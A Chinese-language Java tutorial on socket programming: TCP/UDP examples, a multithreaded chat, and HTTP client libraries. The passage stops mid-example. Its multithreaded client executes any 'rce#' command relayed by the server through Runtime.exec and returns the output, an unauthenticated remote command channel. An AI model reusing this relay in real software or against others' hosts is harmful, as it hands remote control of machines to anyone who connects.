Java socket编程

java socket

Java 是一种纯面向对象的语言,一切都是类与对象,包括 socket,套接字编程在 Java 里面主要是靠 io 包和 net 包实现的,其中 io 包用于用户输入、输出和抛出错误信息,而 net 包用于创建 socket 服务器、客户端和地址相关的操作,所以这篇文章主要也是讲这两个包的类和方法。
在 Java8 中,socket 编程的流程也一样基于 socket 标准模型,也要经过创建、绑定套接字,开启监听,连接,才能进行数据传输,最后关闭连接。这些底层步骤早已经被 Java 封装到 net 包里面,我们只需要调用方法就能够很轻松的实现 socket 功能了。在 net 包中有以下常用类和方法:

方法作用
InetAddressgetAddress();getByName();getHostAddress();getCanonicalHostName();…表示互联网协议 (IP) 地址
SocketSocket();getInputStream();close();…用于实现客户端套接字
ServerSocketServerSocket();accept();close();setSoTimeout();…实现服务器套接字
SocketOptions/获取/设置套接字选项的方法的接口,由 SocketImpl 和 DatagramSocketImpl 实现
SocketExceptionSocketException()抛出Socket异常指示在底层协议中存在错误
ProtocolExceptionProtocolException()抛出Protocol异常指示在底层协议中存在错误,可指定host详细信息
URLURL();getContent();getPort(); getHost();…代表一个统一资源定位符,它是指向互联网“资源”的指针
URLConnectionURLConnection();getContent();getContentType();getInputStream();getOutputStream();…代表应用程序和 URL 之间的通信链接,是所有类的超类
HttpURLConnectiongetResponseCode();getRequestMethod();usingProxy();…支持 HTTP 特定功能的 URLConnection
HttpCookiegetValue();hasExpired();hashCode();parse();…HttpCookie 对象表示一个 http cookie,该 cookie 带有服务器和用户代理之间的状态信息
Proxyaddress();type();hashCode();…设置代理,通常为类型(http、socks)和套接字地址
ProxySelectorconnectFailed();getDefault();select();…连接到 URL 引用的网络资源时选择要使用的代理服务器(如果有)
DatagramSocketDatagramSocket();close();send(DatagramPacket p); receive(DatagramPacket p);…创建UDP数据包套接字用
DatagramPacketDatagramPacket();getLength(); getSocketAddress();…用于创建UDP数据包,作为载体,可用于接收/发送
更多请看文档

以及 IO 包的一些会用到的类与方法:

方法描述
InputStreamInputStream();read();close();…此抽象类是表示字节输入流的所有类的超类
OutputStreamOutputStream();write();close();flush();此抽象类是表示输出字节流的所有类的超类
IOExceptionIOException();当发生某种 I/O 异常时,抛出此异常
更多请看文档

下面将以实现 TCP/UDP 数据传输为例进一步介绍 Java 的 socket 编程。

TCP

Java 实现 socket 中 TCP 的数据传输流程大致如下:
在这里插入图片描述
如图,先看服务端,ServerSocket 类封装好了服务端创建套接字、绑定地址、开启监听的功能,也就是说,直接创建对象并传入监听的端口号就可以建立一个监听状态的 TCP 服务器了。
接下来按照 TCP socket 的标准模型,应该是用 accept() 方法接受连接,在 ServerSocket 类里面就有一个 accept() 方法,用于接受一个 TCP 客户端的连接。
连接建立成功后,就可以进行通信了,这里使用的是 java.io 包里面的 InputStream 类和 OutputStream 类,其中前者表示输入字节流,可以用该类里面的 getInputStream() 方法获取输入流对象,然后用该对象的 read() 方法读取接收过来的数据,后者则是对应输出字节流,里面的 getOutputStream() 方法用于获取输出流对象,用该对象的 write() 方法可以写入并发送数据。
通信完成后就需要断开连接,在 Java 语言中这方面比其他语言做的更加细致,每个打开的对象都要一 一关闭,从输出输入流开始,到连接对象、套接字对象,要逐层调用 close() 方法进行关闭。
接下来看客户端,在 TCP 通信中客户端用的是 Socket 类,它的构造方法将创建套接字和建立连接封装起来了,只需要将连接地址作为参数传入方法,就能够直接返回一个连接对象,然后就可以进行数据传输了。
客户端的数据传输和服务端一样,也是通过 java.io 包里面的 InputStream 和 OutputStream 类,建立连接后先用 getOutputStream()/getInputStream() 获取输出/输入流对象,然后调用相应的 write()/read() 方法进行数据的发送、接收。
最后和服务端一样,要对打开的对象逐个调用 close() 关闭以释放资源,先关闭输出/输入流,然后关闭连接对象就可以了。
下面来看两个例子:

客户端
package app;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
/**
 *这是一个TCP客户端例子,可以用于发起连接并发送从命令行输入的信息。
 *Scanner用于获取用户在命令行的输入。
 *编程步骤:
 * 1.创建连接对象  new Socket();
 * 2.获取输出/输入流对象   socket.getOutputStream();  socket.getInputStream();
 * 3.用write()方法发送信息,read()方法接收信息
 * 4.关闭输出/输入流->关闭连接对象  close()
 */
public class Customer {
    public static void sockClient(String msg) throws IOException {
        Socket socket=new Socket("127.0.0.1",8888);

        OutputStream outputStream=socket.getOutputStream();
        outputStream.write(msg.getBytes(StandardCharsets.UTF_8));
        socket.shutdownOutput();

        InputStream inputStream = socket.getInputStream();
        byte[] bytes = new byte[1024];
        int len;
        StringBuilder sb = new StringBuilder();
        while ((len = inputStream.read(bytes)) != -1){
            sb.append(new String(bytes, 0, len, StandardCharsets.UTF_8));
            System.out.println("服务端>>>"+sb);
        }

        inputStream.close();
        outputStream.close();
        socket.close();
    }
    public static void main(String[] args) throws IOException{
        Scanner inp=new Scanner(System.in);
        String msg=inp.next();
        sockClient(msg);
    }
}
服务端
package app;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
/**
 *这是一个TCP服务端例子,可以用于接受连接后接收信息
 *编程步骤:
 * 1.创建服务器套接字并绑定、开启监听  new ServerSocket(8888);
 * 2.等待接受连接  accept()
 * 3.获取输入/输出流对象  socket.getOutputStream();  socket.getInputStream();
 * 4.用read()方法接收信息,write()方法发送信息
 * 5.关闭输出/输入流->关闭连接对象->关闭套接字  close()
 */
public class Server {
    public static void sockServer() throws IOException {
        ServerSocket server=new ServerSocket(8888);
        System.out.println("listening...");
        Socket socket=server.accept();

        InputStream inputStream=socket.getInputStream();
        byte[] bytes=new byte[1024];
        int len;
        StringBuilder sb = new StringBuilder();
        while ((len=inputStream.read(bytes))!=-1){
            sb.append(new String(bytes,0,len, StandardCharsets.UTF_8));
            System.out.println("客户端>>>"+sb);
        }

        OutputStream outputStream = socket.getOutputStream();
        outputStream.write("接收成功".getBytes(StandardCharsets.UTF_8));

        inputStream.close();
        outputStream.close();
        socket.close();
        server.close();
    }
    public static void main(String[] args) throws IOException{
        sockServer();
    }
}

UDP

Java 实现 socket 中 UDP 的数据传输流程大致如下:
在这里插入图片描述
如图,由于 UDP 省去了连接,因此整体来看比 TCP 方便了许多,再从 close() 方法来看,只需要关闭一个对象的 UDP 传输在资源占用上也明显比 TCP 少,这就是 UDP 的高效性,但是相对的 UDP 传输并不可靠,因为不面向连接,所以完全不知道数据包是否安全到达,中间是否被篡改。现在回来看实现过程:
和 TCP 一样,Java 只用了一个构造方法(DatagramSocket(port))就实现了创建套接字和绑定地址,只需要往方法里传入端口号就会被识别为服务器,函数方法就会在套接字创建后绑定地址和端口,没有传入参数的话会被识别成客户端,不会进行绑定地址的操作。
Java 的 UDP-socket 在接收/发送数据的时候,要先用 DatagramPacket 类创建一个用于收发数据的数据包对象,对于服务端只需要告诉构造函数数据存储的变量以及缓冲区大小,而客户端则要额外设置目标地址、端口和发送内容的编码、长度信息。
到这里准备工作就做好了,接下来客户端的套接字调用 send() 方法将刚才用 DatagramPacket() 构造的数据包发送出去就可以直接释放套接字资源了,在服务端则是调用 receive() 方法进行接收,DatagramPacket() 创建的数据包作为参数传入 receive() 方法,当数据成功接收后,我们可以通过先前传入到这个数据包容器里的数据存储变量进行数据处理,随后调用 close() 关闭套接字,基于上面的理论,下面再结合例子加深一下理解:

客户端
package app;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
/**
 *这是一个UDP客户端例子,可以发送从命令行输入的信息,Scanner用来接收从命令行输入的数据。
 *编程步骤:
 * 1.创建UDP客户端套接字  new DatagramSocket();
 * 2.创建用来发送UDP数据包的对象,并传入数据属性/地址等信息  new DatagramPacket(...);
 * 3.发送构造好的数据包  ds.send(dp)
 * 4.关闭套接字,释放资源  close()
 */
public class Customer {
    public static void sockClient(String msg) throws IOException {
        DatagramSocket ds=new DatagramSocket();
        DatagramPacket dp=new DatagramPacket(
                msg.getBytes(StandardCharsets.UTF_8),
                msg.getBytes().length,
                InetAddress.getByName("127.0.0.1"),
                8888
        );
        ds.send(dp);
        ds.close();
    }
    public static void main(String[] args) throws IOException{
        Scanner inp=new Scanner(System.in);
        String msg=inp.next();
        sockClient(msg);
    }
}
服务端
package app;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
/**
 *这是一个UDP服务端例子,可以接收一次UDP信息
 *编程步骤:
 * 1.创建UDP服务端套接字,并绑定本地地址/端口  new DatagramSocket(8888);
 * 2.创建用来接收客户端发送信息的UDP数据包,1024是一次接收的长度  new DatagramPacket(buffer,1024);
 * 3.等待接收数据  ds.receive(dp);
 * 4.数据处理  System.out.println()
 * 5.关闭套接字,释放资源  close()
 */
public class Server {
    public static void sockServer() throws IOException {
        byte[] buffer=new byte[1024];
        DatagramSocket ds=new DatagramSocket(8888);
        DatagramPacket dp=new DatagramPacket(buffer,1024);
        ds.receive(dp);
        System.out.println("客户端>>>"+new String(buffer,0, dp.getLength()));
        ds.close();
    }
    public static void main(String[] args) throws IOException{
        sockServer();
    }
}

多线程应用&常见问题

在上面的例子中已经实现了 socket 通信,但是存在着一些问题,比如说建立连接后双方只能收发一条信息,这是因为客户端/服务端之间有一端是单线程,只接收或发送第一条信息,接收过后代码就继续向下执行,要操作第二条信息就只能等待下一次连接。
为了打破这个局限性,我们可以利用多线程技术当中的异步处理,在复杂的 socket 通信中通常会存在粘包问题,这个实例的解决办法是利用 OutputStreamWriter 按照换行符 “\n” 进行分包,下面是代码:
客户端:

import java.io.*;
import java.net.Socket;
import java.nio.charset.Charset;
import java.util.Scanner;
/**
 * 这是socket-TCP的客户端,利用多线程特性进行异步读写;
 * 各客户端之间能够通过服务器在p2p模式下互相发送消息、执行命令(执行权限由程序的运行权限决定);
 * 程序结构:
 * Customer类
 * |--main()            程序入口,从用户输入获取服务器地址进行连接,并开启读写线程;
 * |--Reader类          读线程,功能:1.接收另一个客户端/服务端的信息并打印;2.执行另一个客户端发送的命令;
 * |    |--Reader()      构造方法,用于获取服务端的socket对象;
 * |    |--run()         重载方法,线程的执行主体;
 * |    |--shell()       接收服务端传来的信息作为命令执行,完成后返回执行结果;
 * |    |--writeTo()    发送信息的自定义封装函数,利用OutputStreamWriter通过"\n"分包解决粘包问题;
 * |--Writer类          写线程,功能:1.获取用户输入,发送给服务端/另一个客户端;2.特殊情况下"exit#"指令能够保证断开连接并退出;
 *      |--Writer()     构造方法,用于获取服务端的socket对象;
 *      |--run()        重载方法,线程的执行主体;
 */
public class Customer {
    public static class Reader extends Thread{
        private final Socket sock_c;
        public Reader(Socket sock_c){this.sock_c = sock_c;}
        @Override
        public void run(){
            try{
                InputStream inp = this.sock_c.getInputStream();
                Scanner sc = new Scanner(inp);
                while (true){
                    String data = sc.nextLine();
                    if (data.startsWith("rce#")){
                        String command = data.split("#")[1];
                        shell(command);
                        continue;
                    }
                    if (data.startsWith("msg#")){
                        String msg = data.split("#")[1];
                        System.out.println("客户端消息:"+msg);
                        continue;
                    }
                    if (data.equals("exit#")){
                        System.out.println("[WARRING]与"+
                                String.valueOf(this.sock_c.getRemoteSocketAddress()).replace("/","")+
                                "断开连接");
                        this.sock_c.close();
                        break;
                    }
                    System.out.println(data);
                }
            }catch (IOException e){e.printStackTrace();}
        }
        private void shell(String command){
            try{
                OutputStream o = this.sock_c.getOutputStream();
                OutputStreamWriter w = new OutputStreamWriter(o);
                Process p = Runtime.getRuntime().exec(command);
                try{
                    if (p.waitFor() != 0){
                        writeTo(w,"[ERROR]命令执行失败\n");
                    }else {
                        InputStream is = p.getInputStream();
                        BufferedReader result = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK")));
                        String backLine;
                        writeTo(w,"[INFO]命令执行结果:\n");
                        while ((backLine = result.readLine()) != null){
                            writeTo(w,backLine+"\n");
                        }
                    }
                }catch (InterruptedException e){e.printStackTrace();}
            }catch (IOException e){e.printStackTrace();}
        }
        private void writeTo(OutputStreamWriter writer,String str){
            try{
                writer.write(str);
                writer.flush();
            }catch (IOException e){e.printStackTrace();}
        }
    }
    public static class Writer extends Thread{
        private final Socket sock_c;
        public Writer(Socket sock_c){this.sock_c = sock_c;}
        @Override
        public void run(){
            try {
                OutputStream outp = this.sock_c.getOutputStream();
                OutputStreamWriter writer = new OutputStreamWriter(outp);
                Scanner scanner = new Scanner(System.in);
                while (true){
                    String msg = scanner.nextLine();
                    writer.write(msg+"\n");
                    writer.flush();
                    if (msg.equals("exit#")){System.out.println("[WARRING]即将断开连接");break;}
                }
                try{sleep(1000);}catch (InterruptedException e){e.printStackTrace();}
                this.sock_c.close();
            } catch (IOException e) {e.printStackTrace();}
        }
    }
    public static void main(String[] args) throws IOException {
        String host;
        int port;
        do {
            Scanner scanner = new Scanner(System.in);
            System.out.print("连接目标ip:");
            host = scanner.nextLine();
            System.out.print("连接端口:");
            port = scanner.nextInt();
        } while (!host.matches("^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])$")
                || port < 1
                || port > 65535);
        Socket sock_c = new Socket(host,port);
        System.out.println("[INFO]服务器 "+String.valueOf(sock_c.getRemoteSocketAddress()).replace("/","")+" 连接成功");
        new Writer(sock_c).start();
        new Reader(sock_c).start();
    }
}

服务端:

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Scanner;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
 * 这是socket-TCP的服务器启动类,
 * 通过无限循环接受客户端的连接然后启动一个新线程进行处理;
 * scanner:获取用户输入
 * serverSocket:socket TCP的服务端套接字
 * pool:线程池
 * s:一个客户端连接
 */
public class Server {
    public static void main(String[] args) throws IOException{
        Scanner scanner = new Scanner(System.in);
        int port;
        do {
            System.out.print("请输入服务器监听端口:");
            port = scanner.nextInt();
        } while (port < 1 || port > 65535);
        ServerSocket serverSocket = new ServerSocket(port);
        System.out.println("----------服务器启动,监听中----------");
        ExecutorService pool = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors()*2);
        while (true){
            Socket s = serverSocket.accept();
            System.out.println("[INFO]客户端"+String.valueOf(s.getRemoteSocketAddress()).replace("/","")+"加入连接...");
            pool.execute(new MyHandler(s));
        }
    }
}

服务端的线程实现类:

import java.io.*;
import java.net.Socket;
import java.util.Map;
import java.util.Scanner;
import java.util.concurrent.ConcurrentHashMap;

/**
 * 这是服务端的功能实现类,启动类每接受一个新连接就开启新的线程,并分发一个实现类;
 * 通过连接服务器,客户端能够实现:
 * 1.获取当前在线主机;
 * 2.向另一个客户端发送信息;
 * 3.在另一个客户端主机上执行命令并获取回显;
 * 注意:客户端之间并没有建立连接(不是内网穿透!!!),所有数据都是通过服务器转发;
 * 方法:
 * MyHandler()     构造方法,用于获取客户端socket对象;
 * run()           重载方法,线程执行主体;
 * rce()           通过'rce#'指令发送命令给另一个客户端,使其接收提取命令执行并获取执行结果返回给源客户端;
 * logOut()        通过'exit#'指令向本客户端发送退出指令,退出顺序:客户端Reader线程->客户端Writer线程->服务端删除ConcurrentHashMap中自己的键值对;
 * sendMsg()       通过'msg#'指令向另一个客户端发送信息;
 * getConn()       通过遍历ConcurrentHashMap获取发送目标的socket信息;
 * writeTo()       简单的包装了OutputStreamWriter里面的write()和flush()方法;
 */
public class MyHandler implements Runnable{
    private final Socket sock_c;
    private final static Map<String,Socket> host = new ConcurrentHashMap<>();
    public MyHandler(Socket sock_c){this.sock_c = sock_c;}
    @Override
    public void run(){
        try{
            String addr = String.valueOf(sock_c.getRemoteSocketAddress()).replace("/","");
            host.put(addr,sock_c);
            System.out.println("[INFO]当前在线主机数:"+host.size());
            InputStream inp = this.sock_c.getInputStream();
            OutputStreamWriter write_back = new OutputStreamWriter(this.sock_c.getOutputStream());
            Scanner sc_src = new Scanner(inp);
            while (true){
                String data = sc_src.nextLine();
                if (data.startsWith("rce#")){rce(sc_src,write_back,data);continue;}
                if (data.startsWith("msg#")){sendMsg(sc_src,write_back,data);continue;}
                if (data.equals("exit#")){logOut(write_back);break;}
                writeTo(write_back,data+"\n");
            }
        }catch (IOException e){e.printStackTrace();}
    }
    private void rce(Scanner sc, OutputStreamWriter write_back, String command){
        try{
            Socket dst = getConn(sc,write_back);
            OutputStreamWriter write_to = new OutputStreamWriter(dst.getOutputStream());
            writeTo(write_to,command+"\n");
            Scanner read = new Scanner(dst.getInputStream());
            while (read.nextLine() != null){
                String backLine = read.nextLine();
                writeTo(write_back,backLine+"\n");
            }
        }catch (IOException e){e.printStackTrace();}
    }
    private void logOut(OutputStreamWriter w){
        for (Map.Entry<String,Socket> find: host.entrySet()){
            if (find.getValue().equals(this.sock_c)){
                System.out.println("[WARRING]客户端"+find.getKey()+"断开连接");
                writeTo(w,"exit#\n");
                host.remove(find.getKey());
                break;
            }
        }
    }
    private void sendMsg(Scanner sc, OutputStreamWriter write_back, String msg) {
        try{
            Socket dst = getConn(sc,write_back);
            OutputStreamWriter write_to = new OutputStreamWriter(dst.getOutputStream());
            writeTo(write_to,msg+"\n");
        }catch (IOException e){e.printStackTrace();}
    }
    private Socket getConn(Scanner sc,OutputStreamWriter write_back){
        while (true){
            writeTo(write_back,"=====目前存活主机=====\n");
            for (Map.Entry<String, Socket> entry: host.entrySet()) {
                writeTo(write_back,"  "+entry.getKey()+"\n");
            }
            writeTo(write_back,"======================\n请输入目标地址:\n");
            
            for (Map.Entry<String,Socket> finder: host.entrySet()){
                if (finder.getKey().equals(sc.nextLine())){return finder.getValue();}
                else {writeTo(write_back,"[ERROR]目标主机不存在\n");}
            }
        }
    }
    private void writeTo(OutputStreamWriter writer,String str){
        try{
            writer.write(str);
            writer.flush();
        }catch (IOException e){e.printStackTrace();}
    }
}

java http

HTTP 协议是一种基于 TCP 的应用层协议,通常使用 TCP 的 80 端口进行通信,由客户端的浏览器和服务端的 web 服务器组成 C/S 架构,web 服务器创建并保存资源,资源地址用 URL 来描述,用于提供客户端访问的接口,客户端浏览器则通过这个资源地址向 web 服务器发起请求,并将资源下载到本地解析执行,最后把结果呈现给用户。
在 Java 中编写能够用浏览器就可以访问到的程序总称叫 Java-web,作为服务端有一种开发技术叫 jsp,就是像 PHP 那样用 jsp 标签在网页中插入 Java 代码,这样性能会更加优越,不用事先载入解释器和脚本,并且拥有更多的 API,大致处理流程如图:
在这里插入图片描述
下面就 Java-web 分成客户端和服务端做进一步介绍。

客户端

Java 对于 HTTP 客户端的支持和其他语言一样,有提供 GET、POST、HEAD、PUT、DELETE 等请求方式的 API 接口,对 cookie 和 proxy 功能也有很好的支持,这些功能全部都封装到一个个类当中,根据封装的层次,可以分为:

  • URLConnection
  • HttpClient
  • SpringBoot-RestTemplate
  • Apache-CloseableHttpClient

对于特定的服务组件又有专门的客户端类,例:es 的 JestClient。
URLConnection:
这是 net 包里的一个抽象类,提供了访问 HTTP 协议的功能,它有两个子类分别是 HttpURLConnection(支持 HTTP 特定功能)、JarURLConnection(连接到 jar 文件中条目的 URL Connection)。其中 HttpURLConnection 除了继承 URLConnection 的一些方法外,还提供了状态码、请求方式的设置的功能,下面是 HttpURLConnection 类的一些方法以及继承 URLConnection 的一些方法:

继承的方法描述
connect()向web服务器发起连接,格式:url.openConnection;
getContent()获取此URL连接的内容,同new URL().getConnect(),返回一个输入流
getContentEncoding()返回content-encoding头字段的值
getContentLength()返回content-length头字段的值
getContentType()返回content-type头字段的值
getDate()返回date头字段的值
setRequestProperty(String key, String value)以"key","value"的形式自定义请求头
addRequestProperty(String key, String value)同上,区别在于添加相同的key不会覆盖,而是以{key1,key2}的形式存在
setConnectTimeout()设置连接超时时间
setReadTimeout()设置读取超时时间
setDoInput()用于POST请求,默认为true,可以从服务器获取响应
setDoOutput()同上,默认为false,可以在建立连接后往服务器发送数据(例:文件上传)
特有的方法描述
HttpURLConnection(URL u)此构造方法同URLConnection的connect(),但格式不同:(HttpURLConnection) url.openConnection;
disconnect()用于数据传输完成后断开连接
setRequestMethod(String method)设置请求方式

到这里应该已经发现,两个类的构造方法都需要传入一个 URL 处理对象,这个对象要用另一个标准类 URL 创建,类方法如下:

方法名描述
URL()此构造方法用于创建URL对象
openConnection()返回一个URLConnection对象,可以传入Proxy对象作为代理
getPort()获取此URL的端口号
getHost()获取此URL的主机名
getPath()获取此URL的路径部分
getFile()获取此URL的文件名
getQuery()获取此URL的查询部分
getProtocol()获取此 URL 的协议名称

用 URL+HttpURLConnection,我们就可以构建一个完整的 HTTP 请求,可以获取服务器信息,自定义请求方法、请求头(包括 cookie 字段)。但是还有个很重要的功能被分开到单独的类里面,那就是代理功能,在 java 里实现这个功能的是 Proxy 类,下面是类对应的方法:

方法名描述
Proxy()此构造方法用来创建代理连接的条目,第一个参数为代理类型(例:Proxy.type.xxx),第二个则是一个InetSocketAddress对象,里面包含代理地址、端口
address()返回代理的套接字地址,如果是直连则返回null

HttpClient:
在以前 java 对 web 功能的支持不是很好,有时候可能会用到第三方的 http 处理库,直到 jdk11,java 正式启用此工具类,源码在标准包 java.net.http.* 里面,和 Apache 的 HttpClient 差不多,只是创建方式是链式调用,显得更加简洁和直观,而且还有一些显著的特点,比如说支持http2,支持同步/异步请求,能够分开设置全局属性和对每个请求的接口单独设置的请求属性。
这个包里有以下几个类:

  • HttpClient
  • HttpHeaders
  • HttpRequest
  • HttpConnectTimeoutException
  • HttpTimeoutException
  • WebSocketHandshakeException

整个包的工作流程是构造好请求后封装起来用 WebSocket 建立连接然后发送出去,然后用 HttpRespone 接收响应包,使用这个包构建发送请求,通常有三个步骤:

  1. 构建HttpClient实例对象,设置http基础属性;
  2. 使用HttpRequest构造请求;
  3. 使用HttpClient发送HttpRequest得到一个HttpRespone响应。

HttpClient 类可用于发送请求并检索响应,通过构造器,在创建的时候可以配置客户端状态(例:首选http版本,重定向设置、代理、验证器等),构建后就不可改变,可以用来发送多个请求。

可设置项作用
newBuilder()用于创建HttpClient实例
.version()设置请求支持协议
.followRedirects()重定向策略设置,分为NEVER、NORMAL、ALWAYS
.connectTimeout()设置连接超时时间
.cookieHandler()设置客户端cookie,只要用这个HttpClient实例发送的请求都能用的共享cookie
.proxy()设置代理,只要用这个HttpClient实例发送的请求都能用的共享代理
.executor()用于执行异步请求的执行程序
.sslContext()用于设置ssl上下文对象
.sslParameters()设置此客户端的副本
.build()创建HttpClient实例
.send()发送同步请求
.sendAsync()发送异步请求

HttpRequest 类用于构造请求,在创建时可以配置请求属性,这个属性和 HttpClient 的属性作用一样,不同的是可设置项会比较多,而且只作用在当前请求。

可设置项作用
newBuilder()创建HttpRequest构造器
.version()设置首选协议,调用HttpClient.Version
.header()以(“key”,“value”)的形式自定义请求头
.uri(URI)调用URI类的create()方法设置请求的目标地址,可以在创建构造器的时候直接当成参数传入
.timeout()设置读取超时时间
.GET()/.POST()/.PUT()/.DELETE()对应GET、POST、PUT、DELETE请求方式
.method()作用同上,设置请求方式和请求主体
.build()构建请求

HttpResponse 类被用来接收服务端的响应,这些实现不检查状态代码,这意味着始终接受正文。通常使用 BodyHandler<> 方法创建用于接收响应的对象,然后和构建的请求一起作为参数传入用 HttpClient 实例调用的发送请求的方法 send()/sendAsync() 中,最后操作 HttpResponse.BodyHandler<> 对象来进行响应内容的处理,下面是该对象的一些常用方法:

HttpResponse.BodyHandler<>的方法作用
body()返回响应主体内容
headers()返回响应头内容
uri()返回请求地址
request()返回请求地址和请求方式
version()返回响应头的http协议版本
sslSession()返回ssl会话session
statusCode()返回响应状态码

Apache-CloseableHttpClient
CloseableHttpClient 是 Apache Jakarta Common 下的子项目,用于提供稳定、高效的、功能丰富的 HTTP 客户端工具包,其原理是从连接池中获取可用的连接然后发送请求。在 jdk11 的 HttpClient 出现以前是最好用的 HTTP 客户端的工具包之一,现在有3.1和4.5两种版本,这里以4.5.6版本为例,它有着以下特性:

  • 实现 HTTP1.0/HTTP1.1
  • 实现了 HTTP 全部请求方式
  • 支持 HTTPS
  • 支持 Keep-Alive
  • 支持透明代理
  • 可设置超时时间
  • Basic, Digest, NTLMv1, NTLMv2, NTLM2 Session, SNPNEGO/Kerberos 认证方案
  • 插件式的自定义认证方案
  • 连接管理器支持多线程应用。支持设置最大连接数,同时支持设置每个主机的最大连接数,发现并关闭过期的连接
  • 自动处理 Set-Cookie 中的 Cookie
  • 插件式的自定义 Cookie
  • Request 的输出流可以避免流中内容直接缓冲到 Socket 服务器
  • Response 的输入流可以有效的从 Socket 服务器直接读取相应内容

在使用这个工具包之前,需要先在 pom.xml 里添加依赖:

<dependency>
    <groupId>org.apache.httpcomponents</groupId>
    <artifactId>httpclient</artifactId>
    <version>4.5.6</version>
</dependency>

添加完成后就可以开始使用了,发起请求的编程步骤如下:

  1. 创建CloseableHttpClient对象——HttpClient
  2. 基于请求方式创建对应的请求实例——例:HttpGet
  3. 自定义请求头——addHeader()、setHeader()
  4. 添加请求参数——setParams(HetpParams params)
  5. 通过执行请求实例获取CloseableHttpResponse实例——execute()
  6. 获取响应信息——CloseableHttpResponse
  7. 释放连接——close()

SpringBoot-RestTemplate
RestTemplate 是 Spring 对 HttpClient 的再封装工具类,是一个采用模板模式抽象出来的请求工具,和上面 Apache 的 HttpClient 比起来更为简单,不用像 CloseableHttpClient 那样多变,要进行多层判断处理,它屏蔽了复杂的 HttpClient 实现细节,统一了 restful 的标准,只需要使用暴露在外面的简单并且容易使用的接口就可以构造并发起请求。如果本身是 spring 项目,直接使用即可,如果只是普通的 Java 项目,那么需要添加依赖,这里用 5.2.13.RELEASE 版本为例:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-web</artifactId>
    <version>5.2.13.RELEASE</version>
</dependency>

下面是这个工具类的接口方法以及描述:

方法描述
RestTemplate()此构造方法用于初始化一个请求对象
getForObject(url,responseType,uriVariables)发送get请求并获取响应;url=请求地址;responseType=以特定数据类型映射显示响应包;uriVariables=提交的参数
getForEntity(url,responseType,uriVariables)发送get请求,返回值包含了响应体映射后的对象,能返回状态码和响应头信息,参数同上
headForHeaders()只发送请求头信息,返回响应头
delete()对特定资源进行delete操作
exchange()发送请求的方法之一,可接受自定义请求头、设置请求方式、请求路径等
execute()发起请求的底层方法,所有的发起请求方法最后都是调用了这个方法,这个方法处理完URI后又会调用doExcute()发送请求并获取响应包(doExcute方法没有暴露出来,只能通过继承调用)
optionsForAllow()用于获取给定uri中允许执行的操作列表
postForEntity()同getForEntity(),发送post请求,同时返回发送的资源和响应头
postForLocation()发送post请求,返回Location头信息,参数同上
postForObject()同getForObject(),发送post请求,返回响应包
put()对应http的put方法
setRequestFactory()用于添加请求属性
getInterceptors()用于配置拦截器

对于请求头的设置,用到的是 HttpHeaders 类,通过 “key”,“value” 的格式可以很方便的往请求里添加/设置请求头,最后初始化 HttpEntity 对象,然后利用这个对象把请求头参数和 body 一起封装起来,再将 HttpEntity 对象传入初始化 RestTemplate 对象的 exchange() 方法中执行。当需要在每次发起请求的时候使用不同的请求头时,一般设置一个拦截器,在每个请求发送前塞入不同的请求头。其中对于 cookie 的操作也用到这个类,首先用 List 工具类设置好 cookie,然后通过 put() 方法添加到请求头里,最后和其他请求头参数一起封装好,通过 exchange() 方法发送出去。

HttpHeaders类方法描述
add()用于添加请求头,格式:(“key”,“value”),这个方法不能用在循环中进行复用,会使请求头越来越大,替代方法:用拦截器
set()用于设置请求头,格式同上
put()用于设置cookie

设置基础属性和代理用 SimpleClientHttpRequestFactory 类,设置完成后通过初始化 RestTemplate 对象的 setRequestFactory() 方法进行配置;

SimpleClientHttpRequestFactory类方法描述
SimpleClientHttpRequestFactory()此构造方法用于初始化请求属性设置对象
setProxy()设置代理,调用net包下的Proxy
setConnectTimeout()设置连接超时时间
setReadTimeout()设置读取超时时间

下面例子将分别使用上面介绍的几种办法发起 HTTP 客户端请求:

package app;

import java.io.IOException;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetSocketAddress;
import java.net.Proxy;
//URLConnection
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
//HttpClient
import java.net.URI;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.net.http.HttpClient;
import java.time.Duration;
//Apache-HttpClient
import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.BasicCookieStore;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.cookie.BasicClientCookie;
//Spring-RestTemplate  要注意这个例子的HttpEntity类和Apache的http.HttpEntity重名了
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.http.client.ClientHttpRequestInterceptor;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.web.client.RestTemplate;
import java.util.ArrayList;
import java.util.List;
public class Customer {
    /**
     * 这个方法用jdk8的net包发起GET请求,注释部分是代理的使用方式和cookie添加方式
     * 编程步骤:
     * 1.创建URL实例
     * 2.创建HttpURLConnection对象(可设定直接访问/代理访问)
     * 3.设置基础属性(超时时间、请求方式)
     * 4.自定义请求头       setRequestProperty()
     * 5.主动连接并接收响应  connect()、getInputStream()
     * 6.数据处理          BufferedReader
     * 7.断开连接         disconnect()
     */
    public static void httpURLConnection() throws IOException {
        URL url=new URL("http://www.baidu.com");
